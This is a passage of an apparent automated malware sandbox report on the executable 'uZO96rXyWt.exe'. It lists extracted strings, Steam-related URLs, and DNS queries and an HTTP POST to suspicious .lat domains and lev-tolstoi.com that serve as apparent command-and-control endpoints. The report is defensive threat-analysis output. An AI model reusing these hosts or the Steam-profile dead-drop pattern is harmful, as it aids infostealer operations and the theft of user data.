SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35121Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveMon, 23 Dec 2024 05:44:12 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-ControleM equals www.youtube.com (Youtube)
Source: uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: uZO96rXyWt.exe, 00000000.00000003.1417118393.000000000092B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: heckout.steampowered.com/ https://www.youtube.com https: equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic	DNS traffic detected: DNS query: discokeyus.lat
Source: global traffic	DNS traffic detected: DNS query: necklacebudi.lat
Source: global traffic	DNS traffic detected: DNS query: energyaffai.lat
Source: global traffic	DNS traffic detected: DNS query: aspecteirs.lat
Source: global traffic	DNS traffic detected: DNS query: sustainskelet.lat
Source: global traffic	DNS traffic detected: DNS query: crosshuaht.lat
Source: global traffic	DNS traffic detected: DNS query: rapeflowwj.lat
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: lev-tolstoi.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com

Source: uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000970000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1420560937.0000000000989000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421828051.0000000000989000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421390954.00000000008E8000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000970000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1420560937.0000000000989000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421828051.0000000000989000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421390954.00000000008E8000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000970000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1420560937.0000000000989000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421828051.0000000000989000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421390954.00000000008E8000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: uZO96rXyWt.exe, 00000000.00000003.1417118393.000000000092B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.c
Source: uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: uZO96rXyWt.exe, 00000000.00000003.1417118393.000000000092B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.c
Source: uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000970000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421390954.00000000008E8000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000970000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.00000000008ED000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000970000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1420560937.0000000000989000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421828051.0000000000989000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421390954.00000000008E8000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000970000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.00000000008ED000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000970000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.00000000008ED000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=_92TWn81
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000970000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=hyEE
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=St3gSJx2HFUZ&l=e
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: uZO96rXyWt.exe, 00000000.00000003.1417006504.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1420593570.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421390954.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crosshuaht.lat:443/api
Source: uZO96rXyWt.exe, 00000000.00000003.1417006504.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1420593570.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421390954.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://energyaffai.lat:443/api
Source: uZO96rXyWt.exe, 00000000.00000003.1393699909.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat:443/api
Source: uZO96rXyWt.exe, 00000000.00000003.1417118393.000000000092B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.co
Source: uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: uZO96rXyWt.exe, 00000000.00000003.1420593570.000000000092A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/
Source: uZO96rXyWt.exe, 00000000.00000003.1420593570.000000000092A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api
Source: uZO96rXyWt.exe, 00000000.00000002.1421711583.000000000092A000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1420593570.000000000092A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apip.
Source: uZO96rXyWt.exe, 00000000.00000003.1420593570.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421390954.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/d
Source: uZO96rXyWt.exe, 00000000.00000003.1417006504.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi
Source: uZO96rXyWt.exe, 00000000.00000003.1417006504.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1420593570.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421390954.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/api
Source: uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: uZO96rXyWt.exe, 00000000.00000003.1417006504.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1420593570.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421390954.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacebudi.lat:443/apiuOE)
Source: uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: uZO96rXyWt.exe, 00000000.00000003.1417006504.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1420593570.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421390954.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rapeflowwj.lat:443/api?N
Source: uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: uZO96rXyWt.exe, 00000000.00000003.1417118393.000000000092B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.g
Source: uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000970000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/$
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000970000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1420560937.0000000000989000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421828051.0000000000989000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421390954.00000000008E8000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
